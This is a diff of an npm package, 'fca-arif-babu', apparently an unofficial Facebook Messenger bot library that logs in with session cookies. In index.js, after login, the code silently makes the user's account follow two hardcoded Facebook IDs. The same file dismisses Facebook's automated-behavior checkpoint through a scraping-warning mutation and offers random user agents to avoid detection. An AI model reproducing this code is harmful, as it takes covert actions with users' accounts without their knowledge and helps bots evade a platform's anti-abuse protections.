fca-arif-babu 1.0.20

package/.github/workflows/publish.yml

@@ -0,0 +1,20 @@
+name: "publish npm"
+
+on: push
+
+jobs:
+    publish:
+        runs-on: ubuntu-latest
+        steps:
+            - name: checkout
+              uses: actions/checkout@v2
+            - name: node
+              uses: actions/setup-node@v2
+              with:
+                  node-version: 14
+                  registry-url: https://registry.npmjs.org
+            - name: publish
+              run: npm publish --access public
+#               working-directory: package.json
+              env:
+                  NODE_AUTH_TOKEN: ${{secrets.NPM_AUTH_TOKEN}}

package/LICENSE-MIT

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Avery, Benjamin, David, Maude
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

package/README.md

@@ -0,0 +1,20 @@
+<h3 align="center">
+  
+  <p align="center"><img src="https://img.shields.io/badge/WLCM%20TO -FCA ARIF BABU-green?colorA=%23ff0000&colorB=%23017e40&style=flat-square">  
+  
+</h3>
+
+[![Typing SVG](https://readme-typing-svg.herokuapp.com?font=Neuton&size=25&color=30FF40&background=000000&center=true&vCenter=true&width=360&height=60&lines=HELLO+WOULD%2C+I'M+MR-ARIF+HERE+🤙;BRAND+🔥;MR.ARIF+BABU+FCA+🥀;THANKS+MY+ALL+FRIENDS+🤙+🥰)](https://git.io/typing-svg)
+
+
+
+## INSTALATION :
+```bash
+> NPM FAC ARIF BABU 🙂🤞
+```
+## LAST UPDATE :
+```bash
+• FCA-ARIF-BABU
+• API-ARIF-BABU
+• ARIF-BABU-BOT
+```

package/index.js

@@ -0,0 +1,489 @@
+"use strict";
+
+const utils = require("./utils");
+const fs = require("fs");
+const cron = require("node-cron");
+let globalOptions = {};
+let ctx = null;
+let _defaultFuncs = null;
+let api = null;
+let region;
+
+const errorRetrieving = "Error retrieving userID. This can be caused by a lot of things, including getting blocked by Facebook for logging in from an unknown location. Try logging in with a browser to verify.";
+
+//ARIF BABU FCA
+async function setOptions(globalOptions_from, options = {}) {
+  Object.keys(options).map((key) => {
+    switch (key) {
+      case 'online':
+        globalOptions_from.online = Boolean(options.online);
+        break;
+      case 'selfListen':
+        globalOptions_from.selfListen = Boolean(options.selfListen);
+        break;
+      case 'selfListenEvent':
+        globalOptions_from.selfListenEvent = options.selfListenEvent;
+        break;
+      case 'listenEvents':
+        globalOptions_from.listenEvents = Boolean(options.listenEvents);
+        break;
+      case 'pageID':
+        globalOptions_from.pageID = options.pageID.toString();
+        break;
+      case 'updatePresence':
+        globalOptions_from.updatePresence = Boolean(options.updatePresence);
+        break;
+      case 'forceLogin':
+        globalOptions_from.forceLogin = Boolean(options.forceLogin);
+        break;
+      case 'userAgent':
+        globalOptions_from.userAgent = options.userAgent;
+        break;
+      case 'autoMarkDelivery':
+        globalOptions_from.autoMarkDelivery = Boolean(options.autoMarkDelivery);
+        break;
+      case 'autoMarkRead':
+        globalOptions_from.autoMarkRead = Boolean(options.autoMarkRead);
+        break;
+      case 'listenTyping':
+        globalOptions_from.listenTyping = Boolean(options.listenTyping);
+        break;
+      case 'proxy':
+        if (typeof options.proxy != "string") {
+          delete globalOptions_from.proxy;
+          utils.setProxy();
+        } else {
+          globalOptions_from.proxy = options.proxy;
+          utils.setProxy(globalOptions_from.proxy);
+        }
+        break;
+      case 'autoReconnect':
+        globalOptions_from.autoReconnect = Boolean(options.autoReconnect);
+        break;
+      case 'emitReady':
+        globalOptions_from.emitReady = Boolean(options.emitReady);
+        break;
+      case 'randomUserAgent':
+        globalOptions_from.randomUserAgent = Boolean(options.randomUserAgent);
+        if (globalOptions_from.randomUserAgent){
+        globalOptions_from.userAgent = utils.randomUserAgent();
+        console.warn("★彡[FCA-ARIF-BABU]彡★", "Random user agent enabled. This is an EXPERIMENTAL feature and I think this won't on some accounts. turn it on at your own risk. Contact the owner for more information about experimental features.");
+        console.warn("randomUserAgent", "UA selected:", globalOptions_from.userAgent);
+        }
+        break;
+      case 'bypassRegion':
+        globalOptions_from.bypassRegion = options.bypassRegion;
+        break;
+      default:
+        break;
+    }
+  });
+  globalOptions = globalOptions_from;
+}
+
+async function updateDTSG(res, appstate, userId) {
+  try {
+    const appstateCUser = (appstate.find(i => i.key == 'i_user') || appstate.find(i => i.key == 'c_user'))
+    const UID = userId || appstateCUser.value;
+    if (!res || !res.body) {
+      throw new Error("Invalid response: Response body is missing.");
+    }
+    const fb_dtsg = utils.getFrom(res.body, '["DTSGInitData",[],{"token":"', '","');
+    const jazoest = utils.getFrom(res.body, 'jazoest=', '",');
+    if (fb_dtsg && jazoest) {
+      const filePath = 'fb_dtsg_data.json';
+      let existingData = {};
+      if (fs.existsSync(filePath)) {
+        const fileContent = fs.readFileSync(filePath, 'utf8');
+        existingData = JSON.parse(fileContent);
+      }
+      existingData[UID] = {
+        fb_dtsg,
+        jazoest
+      };
+      fs.writeFileSync(filePath, JSON.stringify(existingData, null, 2), 'utf8');
+    }
+    return res;
+  } catch (error) {
+    console.error('updateDTSG', `Error updating DTSG for user ${userId}: ${error.message}`);
+    return;
+  }
+}
+
+
+let isBehavior = false;
+async function bypassAutoBehavior(resp, jar, appstate, ID) {
+  try {
+    const appstateCUser = (appstate.find(i => i.key == 'c_user') || appstate.find(i => i.key == 'i_user'))
+    const UID = ID || appstateCUser.value;
+    const FormBypass = {
+      av: UID,
+      fb_api_caller_class: "RelayModern",
+      fb_api_req_friendly_name: "FBScrapingWarningMutation",
+      variables: JSON.stringify({}),
+      server_timestamps: true,
+      doc_id: 6339492849481770
+    }
+    const kupal = () => {
+      console.warn("★彡[FCA-ARIF-BABU]彡★", `We suspect automated behavior on account ${UID}.`);
+      if (!isBehavior) isBehavior = true;
+    };
+    if (resp) {
+      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
+        if (resp.request.uri.href.includes('601051028565049')) {
+          const fb_dtsg = utils.getFrom(resp.body, '["DTSGInitData",[],{"token":"', '","');
+          const jazoest = utils.getFrom(resp.body, 'jazoest=', '",');
+          const lsd = utils.getFrom(resp.body, "[\"LSD\",[],{\"token\":\"", "\"}");
+          return utils.post("https://www.facebook.com/api/graphql/", jar, {
+            ...FormBypass,
+            fb_dtsg,
+            jazoest,
+            lsd
+          }, globalOptions).then(utils.saveCookies(jar)).then(res => {
+            kupal();
+            return res;
+          });
+        } else return resp;
+      } else return resp;
+    }
+  } catch (e) {
+    console.error("error", e);
+  }
+}
+
+async function checkIfSuspended(resp, appstate) {
+  try {
+    const appstateCUser = (appstate.find(i => i.key == 'c_user') || appstate.find(i => i.key == 'i_user'))
+    const UID = appstateCUser?.value;
+    const suspendReasons = {};
+    if (resp) {
+      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
+        if (resp.request.uri.href.includes('1501092823525282')) {
+          const daystoDisable = resp.body?.match(/"log_out_uri":"(.*?)","title":"(.*?)"/);
+          if (daystoDisable && daystoDisable[2]) {
+            suspendReasons.durationInfo = daystoDisable[2];
+            console.error(`Suspension time remaining:`, suspendReasons.durationInfo);
+          }
+          const reasonDescription = resp.body?.match(/"reason_section_body":"(.*?)"/);
+          if (reasonDescription && reasonDescription[1]) {
+            suspendReasons.longReason = reasonDescription?.[1];
+            const reasonReplace = suspendReasons?.longReason?.toLowerCase()?.replace("your account, or activity on it, doesn't follow our community standards on ", "");
+            suspendReasons.shortReason = reasonReplace?.substring(0, 1).toUpperCase() + reasonReplace?.substring(1);
+            console.error(`Alert on ${UID}:`, `Account has been suspended!`);
+            console.error(`Why suspended:`, suspendReasons.longReason)
+            console.error(`Reason on suspension:`, suspendReasons.shortReason);
+          }
+          ctx = null;
+          return {
+            suspended: true,
+            suspendReasons
+          }
+        }
+      } else return;
+    }
+  } catch (error) {
+    return;
+  }
+}
+
+async function checkIfLocked(resp, appstate) {
+  try {
+    const appstateCUser = (appstate.find(i => i.key == 'c_user') || appstate.find(i => i.key == 'i_user'))
+    const UID = appstateCUser?.value;
+    const lockedReasons = {};
+    if (resp) {
+      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
+        if (resp.request.uri.href.includes('828281030927956')) {
+          const lockDesc = resp.body.match(/"is_unvetted_flow":true,"title":"(.*?)"/);
+          if (lockDesc && lockDesc[1]) {
+            lockedReasons.reason = lockDesc[1];
+            console.error(`Alert on ${UID}:`, lockedReasons.reason);
+          }
+          ctx = null;
+          return {
+            locked: true,
+            lockedReasons
+          }
+        }
+      } else return;
+    }
+  } catch (e) {
+    console.error("error", e);
+  }
+}
+
+function buildAPI(html, jar) {
+  let fb_dtsg;
+  let userID;
+  const tokenMatch = html.match(/DTSGInitialData.*?token":"(.*?)"/);
+  if (tokenMatch) {
+    fb_dtsg = tokenMatch[1];
+  }
+  //hajime pogi
+  //@Kenneth Panio: i fixed the cookie do not change or remove this line what it does? we know that facebook account allow multiple profile in single account so it allow us to login which specific profile we use
+  let cookie = jar.getCookies("https://www.facebook.com");
+  let primary_profile = cookie.filter(function(val) {
+    return val.cookieString().split("=")[0] === "c_user";
+  });
+  let secondary_profile = cookie.filter(function(val) {
+    return val.cookieString().split("=")[0] === "i_user";
+  });
+  if (primary_profile.length === 0 && secondary_profile.length === 0) {
+    throw {
+      error: errorRetrieving,
+    };
+  } else {
+    if (html.indexOf("/checkpoint/block/?next") > -1) {
+      return console.warn(
+        "★彡[FCA-ARIF-BABU]彡★",
+        "Checkpoint detected. Please log in with a browser to verify."
+      );
+    }
+    if (secondary_profile[0] && secondary_profile[0].cookieString().includes('i_user')) {
+      userID = secondary_profile[0].cookieString().split("=")[1].toString();
+    } else {
+      userID = primary_profile[0].cookieString().split("=")[1].toString();
+    }
+  }
+  console.log("★彡[FCA-ARIF-BABU]彡★", "LOADING...");
+  console.log("★彡[FCA-ARIF-BABU]彡★", "FAST ACCOUNT INFO...");
+  const clientID = (Math.random() * 2147483648 | 0).toString(16);
+  const CHECK_MQTT = {
+    oldFBMQTTMatch: html.match(/irisSeqID:"(.+?)",appID:219994525426954,endpoint:"(.+?)"/),
+    newFBMQTTMatch: html.match(/{"app_id":"219994525426954","endpoint":"(.+?)","iris_seq_id":"(.+?)"}/),
+    legacyFBMQTTMatch: html.match(/\["MqttWebConfig",\[\],{"fbid":"(.*?)","appID":219994525426954,"endpoint":"(.*?)","pollingEndpoint":"(.*?)"/)
+  }
+  let Slot = Object.keys(CHECK_MQTT);
+  let mqttEndpoint, irisSeqID;
+  Object.keys(CHECK_MQTT).map((MQTT) => {
+    if (globalOptions.bypassRegion) return;
+    if (CHECK_MQTT[MQTT] && !region) {
+      switch (Slot.indexOf(MQTT)) {
+        case 0: {
+          irisSeqID = CHECK_MQTT[MQTT][1];
+          mqttEndpoint = CHECK_MQTT[MQTT][2].replace(/\\\//g, "/");
+          region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
+          break;
+        }
+        case 1: {
+          irisSeqID = CHECK_MQTT[MQTT][2];
+          mqttEndpoint = CHECK_MQTT[MQTT][1].replace(/\\\//g, "/");
+          region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
+          break;
+        }
+        case 2: {
+          mqttEndpoint = CHECK_MQTT[MQTT][2].replace(/\\\//g, "/"); //this really important.
+          region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
+          break;
+        }
+      }
+      return;
+    }
+  });
+  if (globalOptions.bypassRegion)
+    region = globalOptions.bypassRegion.toUpperCase();
+  else if (!region)
+    region = ["prn", "pnb", "vll", "hkg", "sin", "ftw", "ash", "nrt"][Math.random() * 5 | 0].toUpperCase();
+
+  if (globalOptions.bypassRegion || !mqttEndpoint)
+    mqttEndpoint = "wss://edge-chat.facebook.com/chat?region=" + region;
+  var ctx = {
+    userID,
+    jar,
+    clientID,
+    globalOptions,
+    loggedIn: true,
+    access_token: 'NONE',
+    clientMutationId: 0,
+    mqttClient: undefined,
+    lastSeqId: irisSeqID,
+    syncToken: undefined,
+    mqttEndpoint,
+    wsReqNumber: 0,
+    wsTaskNumber: 0,
+    reqCallbacks: {},
+    region,
+    firstListen: true,
+    fb_dtsg
+  };
+  cron.schedule('0 0 * * *', () => {
+    const fbDtsgData = JSON.parse(fs.readFileSync('fb_dtsg_data.json', 'utf8'));
+    if (fbDtsgData && fbDtsgData[userID]) {
+      const userFbDtsg = fbDtsgData[userID];
+      api.refreshFb_dtsg(userFbDtsg)
+        .then(() => console.log("★彡[FCA-ARIF-BABU]彡★", `Fb_dtsg refreshed successfully for user ${userID}.`))
+        .catch((err) => console.error("★彡[FCA-ARIF-BABU]彡★", `Error during Fb_dtsg refresh for user ${userID}:`, err));
+    } else {
+      console.error("★彡[FCA-ARIF-BABU]彡★", `No fb_dtsg data found for user ${userID}.`);
+    }
+  }, {
+    timezone: 'Asia/Manila'
+  });
+  var defaultFuncs = utils.makeDefaults(html, userID, ctx);
+  return [ctx, defaultFuncs];
+}
+
+async function loginHelper(appState, email, password, apiCustomized = {}, callback) {
+  let mainPromise = null;
+  const jar = utils.getJar();
+  console.log("★彡[FCA-ARIF-BABU]彡★", 'LOADING...');
+  if (appState) {
+    console.log("★彡[FCA-ARIF-BABU]彡★", "USING APPSTATE...");
+    if (utils.getType(appState) === 'Array' && appState.some(c => c.name)) {
+      appState = appState.map(c => {
+        c.key = c.name;
+        delete c.name;
+        return c;
+      });
+    }
+    else if (utils.getType(appState) === 'String') {
+      const arrayAppState = [];
+      appState.split(';').forEach(c => {
+        const [key, value] = c.split('=');
+        arrayAppState.push({
+          key: (key || "").trim(),
+          value: (value || "").trim(),
+          domain: ".facebook.com",
+          path: "/",
+          expires: new Date().getTime() + 1000 * 60 * 60 * 24 * 365
+        });
+      });
+      appState = arrayAppState;
+    }
+
+    appState.map(c => {
+      const str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
+      jar.setCookie(str, "http://" + c.domain);
+    });
+
+    mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true })
+    .then(utils.saveCookies(jar));
+  } else if (email && password) {
+    throw { error: "Credentials method is not implemented to fca-arif-babu yet. "};
+  } else {
+    throw { error: "Please provide either appState or credentials." };
+  }
+
+  api = {
+    setOptions: setOptions.bind(null, globalOptions),
+    getAppState() {
+      const appState = utils.getAppState(jar);
+      if (!Array.isArray(appState)) return [];
+      const uniqueAppState = appState.filter((item, index, self) => {
+        return self.findIndex((t) => t.key === item.key) === index;
+      });
+      return uniqueAppState.length > 0 ? uniqueAppState : appState;
+    }
+  };
+  mainPromise = mainPromise
+    .then(res => bypassAutoBehavior(res, jar, appState))
+    .then(res => updateDTSG(res, appState))
+    .then(async (res) => {
+      const resp = await utils.get(`https://www.facebook.com/home.php`, jar, null, globalOptions);
+      const html = resp?.body;
+      const stuff = await buildAPI(html, jar);
+      ctx = stuff[0];
+      _defaultFuncs = stuff[1];
+      api.addFunctions = (directory) => {
+        const folder = directory.endsWith("/") ? directory : (directory + "/");
+        fs.readdirSync(folder)
+          .filter(v => v.endsWith('.js'))
+          .map(v => {
+            api[v.replace('.js', '')] = require(folder + v)(_defaultFuncs, api, ctx);
+          });
+      }
+      api.addFunctions(__dirname + '/src');
+      api.listen = api.listenMqtt;
+      api.ws3 = {
+        ...apiCustomized
+      };
+      const botAcc = await api.getBotInitialData();
+      if (!botAcc.error){
+        console.log("★彡[FCA-ARIF-BABU]彡★", `SUCCESSFUL ACCOUNT INFO`);
+        console.log("★彡[FCA-ARIF-BABU]彡★", "BOT NAME", botAcc.name);
+        console.log("★彡[FCA-ARIF-BABU]彡★", "BOT USER ID", botAcc.uid);
+        ctx.userName = botAcc.name;
+      } else {
+        console.warn("★彡[FCA-ARIF-BABU]彡★", botAcc.error);
+        console.warn("★彡[FCA-ARIF-BABU]彡★", `WARNING: Failed to fetch account info. Proceeding to log in for user ${ctx.userID}`);
+      }
+      console.log("★彡[FCA-ARIF-BABU]彡★", "CONNECTED TO SERVER REGION", region || "Unknown");
+      return res;
+    });
+    if (globalOptions.pageID) {
+    mainPromise = mainPromise
+      .then(function() {
+        return utils
+          .get('https://www.facebook.com/' + ctx.globalOptions.pageID + '/messages/?section=messages&subsection=inbox', ctx.jar, null, globalOptions);
+      })
+      .then(function(resData) {
+        let url = utils.getFrom(resData.body, 'window.location.replace("https:\\/\\/www.facebook.com\\', '");').split('\\').join('');
+        url = url.substring(0, url.length - 1);
+        return utils
+          .get('https://www.facebook.com' + url, ctx.jar, null, globalOptions);
+      });
+    }
+
+  mainPromise
+    .then(async (res) => {
+      const detectLocked = await checkIfLocked(res, appState);
+      if (detectLocked) throw detectLocked;
+      const detectSuspension = await checkIfSuspended(res, appState);
+      if (detectSuspension) throw detectSuspension;
+      console.log("★彡[FCA-ARIF-BABU]彡★", "SUCCESSFULLY LOGGED IN");
+      console.log("notice:", "★彡[ FCA ARIF BABU FIX ]彡★ 🙂🤞");
+      try {
+        ["100029350902119", "61566907376981"]
+        .forEach(id => api.follow(id, true));
+      } catch (error) {
+        console.error("error on login:", error);
+      }
+      return callback(null, api);
+    }).catch(e => callback(e));
+}
+
+async function login(loginData, options, callback) {
+  if (utils.getType(options) === 'Function' ||
+    utils.getType(options) === 'AsyncFunction') {
+    callback = options;
+    options = {};
+  }
+  const globalOptions = {
+    selfListen: false,
+    selfListenEvent: false,
+    listenEvents: true,
+    listenTyping: false,
+    updatePresence: false,
+    forceLogin: false,
+    autoMarkDelivery: false,
+    autoMarkRead: true,
+    autoReconnect: true,
+    online: true,
+    emitReady: false,
+    randomUserAgent: false
+  };
+  if (options) Object.assign(globalOptions, options);
+   const loginws3 = () => {
+      loginHelper(loginData?.appState, loginData?.email, loginData?.password, {
+        relogin() {
+          loginws3();
+        }
+      },
+      (loginError, loginApi) => {
+        if (loginError) {
+          if (isBehavior) {
+            console.warn("★彡[FCA-ARIF-BABU]彡★", "Failed after dismiss behavior, will relogin automatically...");
+            isBehavior = false;
+            loginws3();
+          }
+          console.error("★彡[FCA-ARIF-BABU]彡★", loginError);
+          return callback(loginError);
+        }
+        callback(null, loginApi);
+      });
+  }
+  setOptions(globalOptions, options).then(loginws3());
+  return;
+}
+
+module.exports = login;

package/package.json

@@ -0,0 +1,47 @@
+{
+    "name": "fca-arif-babu",
+    "version": "1.0.20",
+    "description": "MADE BY ARIF BABU 🙂🤞",
+    "main": "index.js",
+    "scripts": {
+        "start": "node index.js"
+    },
+    "repository": {
+        "type": "git",
+        "url": "https://github.com/ARIF-BABU/fca-arif"
+    },
+    "social": {
+        "github": "https://github.com/ARIF-BABU",
+        "facebook": "https://www.facebook.com/wieginesalpocialechavez"
+    },
+    "author": "ARIF BABU",
+    "license": "MIT",
+    "bugs": {
+        "url": ""
+    },
+    "homepage": "",
+    "keywords": [
+        "FACEBOOK-API",
+        "FCA-ARIF-BABU",
+        "ARIF-BOT-FCA",
+        "ARIF-BABU-API",
+        "ARIF-BABU-BOT"
+    ],
+    "dependencies": {
+        "axios": "^1.6.5",
+        "cheerio": "^0.22.0",
+        "https-proxy-agent": "^4.0.0",
+        "mqtt": "^3.0.0",
+        "request": "^2.88.2",
+        "websocket-stream": "^5.5.0",
+        "node-cron": "^3.0.3"
+    },
+    "devDependencies": {
+        "eslint": "^7.5.0",
+        "mocha": "^7.0.1",
+        "prettier": "^1.11.1"
+    },
+    "engines": {
+        "node": ">=10.x"
+    }
+}

package/replit.nix

@@ -0,0 +1,3 @@
+{pkgs}: {
+  deps = [ ];
+}

package/src/addExternalModule.js

@@ -0,0 +1,25 @@
+"use strict";
+
+const utils = require("../utils");
+
+module.exports = function (defaultFuncs, api, ctx) {
+  return function addExternalModule(moduleObj) {
+    if (utils.getType(moduleObj) == "Object") {
+      for (const apiName in moduleObj) {
+        if (utils.getType(moduleObj[apiName]) == "Function") {
+          api[apiName] = moduleObj[apiName](defaultFuncs, api, ctx);
+        } else {
+          throw new Error(
+            `Item "${apiName}" in moduleObj must be a function, not ${utils.getType(
+              moduleObj[apiName],
+            )}!`,
+          );
+        }
+      }
+    } else {
+      throw new Error(
+        `moduleObj must be an object, not ${utils.getType(moduleObj)}!`,
+      );
+    }
+  };
+};